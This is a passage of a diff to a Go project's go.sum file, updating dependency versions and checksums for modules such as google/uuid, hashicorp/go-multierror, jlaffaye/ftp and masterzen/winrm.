v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/gxui v0.0.0-20151028112939-f85e0a97b3a4/go.mod h1:Pw1H1OjSNHiqeuxAduB1BKYXIwFtsyrY47nEqSgEiCM= -github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= -github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= -github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= -github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= -github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= -github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= -github.com/googollee/go-socket.io v1.6.0/go.mod h1:0vGP8/dXR9SZUMMD4+xxaGo/lohOw3YWMh2WRiWeKxg= -github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= -github.com/gopherjs/gopherjs v0.0.0-20210621113107-84c6004145de/go.mod h1:MtKwTfDNYAP5EtbQSMYjTSqvj1aXJKQRASWq3bwaP+g= +github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs= +github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gookit/color v1.5.0 h1:1Opow3+BWDwqor78DcJkJCIwnkviFi+rrOANki9BUFw= +github.com/gookit/color v1.5.0/go.mod h1:43aQb+Zerm/BWh2GnrgOQm7ffz7tvQXEKV6BFMl7wAo= github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ= github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= github.com/gorilla/sessions v1.2.1 h1:DHd3rPN5lE3Ts3D8rKkQ8x/0kqfeNmBAaiSi+o7FsgI= github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= -github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/goxjs/gl v0.0.0-20210104184919-e3fafc6f8f2a/go.mod h1:dy/f2gjY09hwVfIyATps4G2ai7/hLwLkc5TrPqONuXY= -github.com/goxjs/glfw v0.0.0-20191126052801-d2efb5f20838/go.mod h1:oS8P8gVOT4ywTcjV6wZlOU4GuVFQ8F5328KY3MJ79CY= -github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= -github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= -github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= -github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= -github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= -github.com/hashicorp/consul/api v1.11.0/go.mod h1:XjsvQN+RJGWI2TWy1/kqaE16HrR2J/FWgkYjdZQsX9M= -github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= -github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms= +github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= -github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-hclog v1.0.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= -github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= -github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= -github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= -github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= -github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= -github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= -github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= -github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= +github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE= github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= -github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= -github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= -github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= -github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= -github.com/hashicorp/mdns v1.0.1/go.mod h1:4gW7WsVCke5TE7EPeYliwHlRUyBtfCwuFwuMg2DmyNY= -github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= -github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= -github.com/hashicorp/memberlist v0.2.2/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= -github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= -github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= -github.com/hashicorp/serf v0.9.5/go.mod h1:UWDWwZeL5cuWDJdl0C6wrvrUwEqtQ4ZKBKKENpqIUyk= -github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358/go.mod h1:qBE210J2T9uLXRB3GNc73SvZACDEFAmDCOlDkV47zbY= -github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= -github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 h1:ZcsPFW8UgACapqjcrBJx0PuyT4ppArO5VFn0vgnkvmc= github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5/go.mod h1:VJNHW2GxCtQP/IQtXykBIPBV8maPJ/dHWirVTwm9GwY= @@ -313,91 +93,36 @@ github.com/jcmturner/gokrb5/v8 v8.4.2 h1:6ZIM6b/JJN0X8UM43ZOM6Z4SJzla+a/u7scXFJz github.com/jcmturner/gokrb5/v8 v8.4.2/go.mod h1:sb+Xq/fTY5yktf/VxLsE3wlfPqQjp0aWNYyvBVK62bc= github.com/jcmturner/rpc/v2 v2.0.3 h1:7FXXj8Ti1IaVFpSAziCZWNzbNuZmnvw/i6CqLNdWfZY= github.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc= -github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b h1:Ur6QAxsHCK99Quj9PaWafoV4unb0DO/HWiKExD+TN5g= -github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b/go.mod h1:2lmrmq866uF2tnje75wQHzmPXhmSWUt7Gyx2vgK1RCU= -github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= -github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= -github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= -github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/jedib0t/go-pretty/v6 v6.3.1 h1:aOXiD9oqiuLH8btPQW6SfgtQN5zwhyfzZls8a6sPJ/I= +github.com/jedib0t/go-pretty/v6 v6.3.1/go.mod h1:FMkOpgGD3EZ91cW8g/96RfxoV7bdeJyzXPYgz1L1ln0= +github.com/jlaffaye/ftp v0.0.0-20220310202011-d2c44e311e78 h1:urWv38lDLjDRk5fG9P8vvxlfpQXaKtRlZc+QLKk3FRA= +github.com/jlaffaye/ftp v0.0.0-20220310202011-d2c44e311e78/go.mod h1:oZaomI+9/et52UBjvNU9LCIqmgt816+7ljXCx0EIPzo= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= -github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= -github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= -github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= -github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= -github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= -github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= -github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= -github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= -github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/lib/pq v1.10.4 h1:SO9z7FRPzA03QhHKJrH5BXA6HU1rS4V2nIVrrNC1iYk= -github.com/lib/pq v1.10.4/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0VBNqY/88RNnhSGYkrHaO0mmFGbVsc= github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6wD6j7xX6O6hXe621WabdtNkou2h7uRtTfRMyg= -github.com/lyft/protoc-gen-star v0.5.3/go.mod h1:V0xaHgaf5oCCqmcxYcWiDfTiKsZsRc87/1qhoTACD8w= -github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= -github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786 h1:2ZKn+w/BJeL43sCxI2jhPLRv73oVVOjEKZjKkflyqxg= github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786/go.mod h1:kCEbxUJlNDEBNbdQMkPSp6yaKcRXVI6f4ddk8Riv4bc= github.com/masterzen/winrm v0.0.0-20211231115050-232efb40349e h1:au+BndCo30p6G49xKTj1ZigvPn/ekiO2Gt+V+pbujfQ= github.com/masterzen/winrm v0.0.0-20211231115050-232efb40349e/go.mod h1:Iju3u6NzoTAvjuhsGCZc+7fReNnr/Bd6DsWj3WTokIU= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= -github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= -github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40= -github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= -github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= -github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= -github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= -github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= -github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= -github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= -github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= -github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= -github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= -github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= -github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= -github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= -github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= -github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= -github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= -github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= -github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= -github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= -github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= -github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= -github.com/neelance/astrewrite v0.0.0-20160511093645-99348263ae86/go.mod h1:kHJEU3ofeGjhHklVoIGuVj85JJwZ6kWPaJwCIxgnFmo= -github.com/neelance/sourcemap v0.0.0-20200213170602-2833bce08e4c/go.mod h1:Qr6/a/Q4r9LP1IltGz7tA7iOK1WonHEYhu1HRBA7ZiM= +github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5/go.mod h1:caMODM3PzxT8aQXRPkAt8xlV/e7d7w8GM5g0fa5F0D8= github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE= github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= -github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= -github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= -github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= @@ -409,568 +134,123 @@ github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1y github.com/onsi/gomega v1.17.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY= github.com/onsi/gomega v1.18.1 h1:M1GfJqGRrBrrGGsbxzV5dqM2U2ApXefZCQpkukxYRLE= github.com/onsi/gomega v1.18.1/go.mod h1:0q+aL8jAiMXy9hbwj2mr5GziHiwhAIQpFmmtT5hitRs= -github.com/panjf2000/ants/v2 v2.4.7 h1:MZnw2JRyTJxFwtaMtUJcwE618wKD04POWk2gwwP4E2M= -github.com/panjf2000/ants/v2 v2.4.7/go.mod h1:f6F0NZVFsGCp5A7QW/Zj/m92atWwOkY0OIhFxRNFr4A= -github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= -github.com/pelletier/go-toml v1.9.4/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= -github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 